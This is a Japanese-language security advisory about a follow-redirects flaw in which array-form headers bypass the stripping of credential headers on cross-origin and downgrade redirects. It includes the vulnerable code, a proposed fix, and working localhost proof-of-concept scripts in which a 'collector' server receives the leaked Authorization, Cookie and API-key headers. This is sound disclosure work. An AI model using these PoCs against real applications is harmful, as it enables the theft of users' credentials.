リダイレクト追跡、配列形式のヘッダー、クロスオリジン、認証情報削除
### 概要
`follow-redirects`は、異なるホストへのリダイレクトや、セキュリティが低いプロトコルへのダウングレードを行う際に、機密性の高い認証情報ヘッダー(Authorization、Proxy-Authorization、Cookie、および呼び出し元が指定した`sensitiveHeaders`)を削除します。この削除処理は、呼び出し元のヘッダーコンテナを`for...in`で反復処理し、ヘッダー名をフィルタと比較することで行われます。これは、ヘッダーコンテナがヘッダー名でキー付けされた単純なオブジェクトであることを前提としています。Node.jsの基盤となる`http.request`(`follow-redirects`はこれの代替として使用できます)も、ヘッダーを名前と値の交互の配列として受け入れます。配列の場合、`for...in`は数値インデックス「0」、「1」、「2」などを返しますが、これらはヘッダー名フィルタと一致しないため、何も削除されません。したがって、配列形式のヘッダーを送信し、攻撃者が制御するクロスオリジンリダイレクトを追跡するアプリケーションは、Authorization、Cookie、およびProxy-Authorizationヘッダーをそのまま、攻撃者が制御する宛先に送信します。エラーや警告は発生しません。CVE-2026-40895 / GHSA-r4q5-vmmm-2653を修正するために追加された`sensitiveHeaders`オプションも、同様のヘルパーに依存しているため、効果がありません。これは、認証されていない機密性に関する脆弱性であり、被害アプリケーションが接続するリモートサーバーは、クロスオリジンリダイレクトに応答することで、被害者の認証情報ヘッダーを収集できます。
### 詳細
クロスオリジン認証情報削除の制御は、`index.js`の630-640行にある`removeMatchingHeaders(regex, headers)`によって実装されています。
```js
function removeMatchingHeaders(regex, headers) {
var lastValue;
for (var header in headers) { // for...in ループは配列に対して "0", "1", "2"..." という文字列のインデックスを生成します。
if (regex.test(header)) { // ヘッダー名フィルターは、数値インデックスには一致しません。
lastValue = headers[header];
delete headers[header];
}
}
return (lastValue === null || typeof lastValue === "undefined") ?
undefined : String(lastValue).trim();
}
```
この関数は、`_processResponse` から、以下の3つの目的で呼び出されます。いずれの場合も、呼び出し元から提供された `this._options.headers` が使用されます。
- `index.js:490` - リダイレクトが異なるオリジンを越える場合、またはプロトコルが下位互換になる場合に、認証フィルター (`this._headerFilter`。これは、組み込みの Authorization/Proxy-Authorization/Cookie リストと、任意の `sensitiveHeaders` を含みます) を削除します。
- `index.js:470` - `Host` ヘッダー (`/^host$/i`) を削除します。
- `index.js:466` - 301/302/303 のレスポンスが POST を GET に変換する場合に、`content-*` ヘッダーを削除します。
呼び出し元から提供されたヘッダーのコンテナは、`index.js:352` の `nativeProtocol.request(this._options)` を通じて、各リダイレクトリクエストにそのまま渡されます。`_sanitizeOptions` (index.js:300-331) は、`options.headers` が falsy の場合にのみ値を置き換えるため、配列は変更されません。
Node.js の `http.request` は、`options.headers` を、名前と値のペアが交互に並んだ配列として受け取ります (例: `["Authorization", "Bearer ...", "Cookie", "session=..."]`)。これは、ヘッダーの順序と重複を制御するためのサポートされている方法です。このような配列の場合、`for (var header in headers)` は、数値インデックスである `"0"`, `"1"`, `"2"` を反復処理しますが、ヘッダー名の正規表現は、これらのいずれにも一致しないため、`removeMatchingHeaders` は何も削除しません。上記の3つの削除処理はすべて、何も行わずに終了します。
- 組み込みの認証ヘッダー(Authorization、Cookie、Proxy-Authorization)は、クロスオリジンリダイレクトのターゲットに転送されます。
- 呼び出し元が指定したすべての `sensitiveHeaders` も転送されます。
- 以前のオリジンからの古い `Host` ヘッダーが、新しいオリジンに再送信されます。
- POST から GET へのリダイレクトの場合、`content-*` ヘッダーは保持されますが、これにより `Content-Length` が現在空のボディと矛盾する状態になります。
主な影響は、認証ヘッダーの情報の漏洩です。 古い `Host` ヘッダーの再送信と `Content-Length` の不整合は、同じ根本原因から生じる二次的な問題です。
根本原因の経緯:組み込みの認証情報を削除するために使用されている `for...in` ベースの `removeMatchingHeaders` 関数は、クロスホスト Authorization の機能が導入された時点(コミット `724087d`、v1.11.0 でリリース)から存在し、1.16.0 まで変更されていません。 `sensitiveHeaders` の機能は 1.16.0 で導入されました(コミット `844c4d3`)。 この動作は、1.15.11 と 1.16.0 の両方で直接検証されています。
推奨される対策:Node.js の配列形式のヘッダーを処理するか、明示的に拒否します。 最も厳格な解決策は、`_sanitizeOptions` 関数で `Array.isArray(options.headers)` を検出し、オブジェクトを渡すように呼び出し元に指示する明確な `TypeError` を発生させることです。 これにより、誤用によるセキュリティの低下を静かに回避するのではなく、エラーを明確に表示します。 配列のサポートが必要な場合は、`removeMatchingHeaders` 関数を拡張して、配列を名前/値のペアで処理します。
```js
function removeMatchingHeaders(regex, headers) {
if (Array.isArray(headers)) {
var lastValue;
for (var i = 0; i < headers.length; i += 2) {
if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }
}
return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim();
}
// 既存のオブジェクト処理
}
```
`Host` および `content-*` の削除に関する処理にも、同様の制限を適用してください。また、クロスオリジンリダイレクトにおける配列形式のヘッダーをテストする回帰テストを追加してください。現在のテストスイートでは、オブジェクト形式のヘッダーのみがカバーされています。
参照:
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422
- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders オプション)
### PoC (概念実証)
環境: Windows 11 上の Node.js v24.18.0。Node の配列形式ヘッダーの動作は、以前から存在し、バージョンに依存しません。各スクリプトは、follow-redirects の 1.16.0 のソースコードから実行し、`require("./index.js")` がテスト対象のライブラリを指すようにします。
前提条件の確認 (Node が配列形式のヘッダーを受け入れ、シリアライズすることを確認):
```
node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'
```
結果: `Bearer T c=1` (サーバーが両方のヘッダーを受信しており、配列形式が有効であり、正しく送信されていることが確認できます)。
最小限の構成(組み込みの認証情報リスト)、`arrayleak.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // 異なるオリジン(異なるポート)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // 攻撃者によって制御されるターゲット
});
redirector.listen(47301, "127.0.0.1", function () {
collector.listen(47302, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
headers: [
"Host", "127.0.0.1:47301",
"Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
"Cookie", "session=ARRAY-FORM-SESSION-ID",
"X-Custom", "harmless"
]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization :", h.authorization || "(stripped - OK)");
console.log("Cookie :", h.cookie || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
```
観察された出力(バージョン1.16.0および1.15.11):
```
Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- 認証情報が異なるオリジンに漏洩
Cookie : session=ARRAY-FORM-SESSION-ID <- 認証情報が異なるオリジンに漏洩
```
検証:`headers`を同等のオブジェクト`{ Host: ..., Authorization: ..., Cookie: ... }`に置き換えて再実行すると、どちらも正しく処理され、これはフィルタリングの処理が実行されていることを証明しています。配列の反復処理のみがこれを回避します。
結合形式(組み込みリストと、1.16.0の`sensitiveHeaders`の修正を組み合わせたもので、これら全てを1つのリクエストで回避)、`combined.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" });
res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(47401, "127.0.0.1", function () {
collector.listen(47402, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 47401, path: "/", method: "GET",
headers: [
"Host", "127.0.0.1:47401",
"Authorization", "Bearer BUILTIN-VICTIM-TOKEN",
"Cookie", "session=BUILTIN-SESSION-ID",
"X-API-Key", "DECLARED-VICTIM-KEY"
],
sensitiveHeaders: ["X-API-Key"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization (組み込みリスト) :", h.authorization || "(stripped - OK)");
console.log("Cookie (組み込みリスト) :", h.cookie || "(stripped - OK)");
console.log("X-API-Key (sensitiveHeaders) :", h["x-api-key"] || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
```
観察された出力(1.16.0):
```
Authorization (組み込みリスト) : Bearer BUILTIN-VICTIM-TOKEN <- 漏洩
Cookie (組み込みリスト) : session=BUILTIN-SESSION-ID <- 漏洩
X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- 漏洩 (CVE-2026-40895の修正が回避された)
```
プロトコル・ダウングレードの脆弱性(認証情報が平文で送信される)、`downgrade.js`。リポジトリ自身のテスト証明書を `test/assets/` ディレクトリで使用しています。
```js
var followRedirects = require("./index.js");
var http = require("http"); var https = require("https"); var fs = require("fs");
var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") };
var ca = fs.readFileSync("test/assets/ca.crt");
var httpsOrigin = https.createServer(opts, function (req, res) {
req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end();
});
var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
httpsOrigin.listen(47501, "localhost", function () {
httpCollector.listen(47502, "localhost", function () {
followRedirects.https.request({
hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca,
headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization :", h.authorization || "(stripped - OK)");
console.log("Cookie :", h.cookie || "(stripped - OK)");
httpsOrigin.close(); httpCollector.close();
});
}).end();
});
});
```
観察された結果(バージョン 1.16.0):HTTPS から HTTP へのリダイレクト後、認証情報が平文の HTTP ターゲットに受信されます。これは、認証情報が暗号化されずに送信され、リダイレクト先のサーバーだけでなく、経路上のネットワーク監視者によっても収集される可能性があることを意味します。
副作用の検証(古いHostヘッダーが再送信される、Content-Lengthが不整合):配列形式のヘッダーと13バイトのボディを持つPOSTリクエストが、別のオリジンに302リダイレクトされる場合、新しいオリジンにGETリクエストとして到達することが確認されました。このGETリクエストは、最初のオリジンの古い`Host`ヘッダーと`Content-Length: 13`を含んでおり、ボディは空でした。
### 影響
これは情報漏洩の脆弱性です。クロスオリジン認証ヘッダーの除去制御が、問題なく機能していません。影響を受けるのは、Nodeの配列形式のヘッダー(ヘッダーの順序や重複を制御するために使用される)を使用してリダイレクトを処理し、攻撃者によって制御または改ざんされたターゲットへのリダイレクトに従う、すべてのアプリケーションまたはアップストリームライブラリです。この脆弱性がトリガーされると、被害者のAuthorization、Cookie、Proxy-Authorizationヘッダー、および`sensitiveHeaders`オプションで宣言されたヘッダーが、攻撃者が制御する宛先に送信されます。プロトコルのダウングレードの場合、認証情報がさらに暗号化されずにネットワークを通過し、経路上の監視者に公開される可能性があります。攻撃者は、被害者がすでにアクセスしているリダイレクトターゲットを制御する以外に、認証やユーザー操作を必要としません。この脆弱性は、このライブラリの以前のセキュリティアドバイザリ(CVE-2022-0155、CVE-2022-0536、CVE-2026-40895 / GHSA-r4q5-vmmm-2653)で強化しようとした制御機構を回避するものです。
影響を受けるパッケージ:
- npm (JavaScript) follow-redirects: 影響を受けるバージョンは1.16.0以上、1.16.1未満。1.16.1で修正済み。